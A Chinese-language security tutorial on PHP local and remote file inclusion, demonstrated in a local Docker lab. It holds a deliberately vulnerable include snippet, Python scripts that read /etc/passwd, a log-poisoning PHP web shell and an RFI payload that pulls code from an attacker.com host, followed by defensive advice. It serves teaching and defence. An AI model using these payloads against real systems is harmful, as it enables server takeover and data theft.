甚至任意代码执行。分为两类: 本地文件包含(LFI, Local File Inclusion):攻击者能够让程序包含服务器本地文件 ...

发布时间:2026/7/26 23:40:02
甚至任意代码执行。分为两类: 本地文件包含(LFI, Local File Inclusion):攻击者能够让程序包含服务器本地文件 ... 深入剖析文件包含漏洞从本地文件包含到任意代码执行作为全栈工程师理解文件包含漏洞的原理、危害及防御措施至关重要。本文将从实战角度出发通过大量代码演示带你彻底掌握本地文件包含LFI和远程文件包含RFI漏洞并展示如何从简单的文件读取升级到任意代码执行。## 什么是文件包含漏洞文件包含漏洞是Web应用中常见的安全问题。攻击者利用程序对用户输入的文件路径缺乏严格过滤从而包含恶意文件或敏感文件。根据文件来源分为两类-本地文件包含LFI攻击者让程序包含服务器本地文件如/etc/passwd。-远程文件包含RFI攻击者让程序包含远程服务器上的文件如恶意PHP脚本。当文件内容被解释执行时LFI和RFI都可能演变为任意代码执行造成服务器被完全控制。## 实战环境搭建为了安全演示我们在本地Docker容器中搭建一个简单的PHP应用。创建index.php文件php?php// 漏洞代码直接拼接用户输入的文件路径$file $_GET[file];include($file);?这是一个典型的文件包含漏洞示例。攻击者可以通过?file参数控制包含的文件。## 本地文件包含LFI实战LFI通常用于读取敏感文件或执行本地恶意文件。以下代码演示如何读取系统文件### 示例1利用LFI读取/etc/passwdpython# Python脚本模拟LFI攻击读取Linux系统密码文件import requests# 目标URL假设本地运行在8080端口url http://localhost:8080/index.php# 构造LFI payload读取/etc/passwdpayload {file: /etc/passwd}try: response requests.get(url, paramspayload) if response.status_code 200: print(成功读取/etc/passwd:) print(response.text) else: print(f请求失败状态码: {response.status_code})except Exception as e: print(f发生错误: {e})输出示例成功读取/etc/passwd:root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...这个例子展示了攻击者如何通过LFI读取系统关键文件。实际攻击中还可以尝试读取/var/log/apache2/access.log等日志文件。### 从LFI到代码执行日志注入当LFI无法直接包含可执行文件时攻击者可以通过日志注入实现代码执行。步骤如下1. 向Web服务器发送包含PHP代码的恶意请求该请求被记录在访问日志中。2. 利用LFI包含日志文件让PHP代码被执行。php?php// 攻击者发送的恶意请求包含PHP代码// User-Agent: ?php system($_GET[cmd]); ?// 该请求会被记录在/var/log/apache2/access.log中?接着通过LFI包含日志文件并执行命令python# Python脚本利用LFI执行系统命令import requestsurl http://localhost:8080/index.php# 包含Apache访问日志并执行id命令payload {file: /var/log/apache2/access.log, cmd: id}response requests.get(url, paramspayload)print(执行结果:)print(response.text)输出示例执行结果:192.168.1.100 - - [01/Jan/2024:12:00:00 0000] GET /?file/var/log/apache2/access.logcmdid HTTP/1.1 200 123 - ?php system(id); ?uid33(www-data) gid33(www-data) groups33(www-data)这种方法让攻击者在不直接上传文件的情况下获取代码执行能力。## 远程文件包含RFI实战当PHP配置中allow_url_include和allow_url_fopen开启时RFI成为可能。攻击者可以包含远程服务器上的恶意文件。### 示例2RFI实现代码执行首先攻击者准备一个恶意PHP文件evil.txt托管在远程服务器上php?php// 恶意代码执行系统命令system($_GET[cmd]);?然后利用RFI包含该远程文件python# Python脚本利用RFI执行远程代码import requestsurl http://localhost:8080/index.php# 远程恶意文件地址remote_file http://attacker.com/evil.txtpayload {file: remote_file, cmd: ls -la /etc}try: response requests.get(url, paramspayload) print(远程代码执行结果:) print(response.text)except Exception as e: print(fRFI失败: {e})输出示例远程代码执行结果:total 1234drwxr-xr-x 1 root root 4096 Jan 1 12:00 .drwxr-xr-x 1 root root 4096 Jan 1 12:00 ..-rw-r--r-- 1 root root 3028 Jan 1 12:00 apache2-rw-r--r-- 1 root root 1324 Jan 1 12:00 hosts...RFI的危险性更高因为它允许攻击者直接加载并执行任意远程代码。## 防御策略与最佳实践作为全栈工程师应从代码层面和配置层面防御文件包含漏洞1.白名单验证限制可包含的文件路径php?php// 安全代码使用白名单$allowed_files [home.php, about.php, contact.php];$file $_GET[file];if (in_array($file, $allowed_files)) { include($file);} else { echo 无效文件;}?2.禁用危险配置在php.ini中关闭allow_url_include和allow_url_fopen3.路径过滤使用realpath()函数规范化路径防止目录遍历4.最小权限原则Web服务器使用低权限用户运行## 总结文件包含漏洞是Web应用安全的重大威胁LFI和RFI都能从简单的文件读取升级为任意代码执行。本文通过两个实战代码示例演示了如何利用LFI读取系统文件、通过日志注入执行代码以及利用RFI直接加载远程恶意文件。作为全栈工程师我们必须牢记用户输入永远不可信。在开发过程中坚持白名单验证、禁用危险配置、实施最小权限原则才能有效防御此类漏洞。记住安全不是功能而是持续的态度和实践。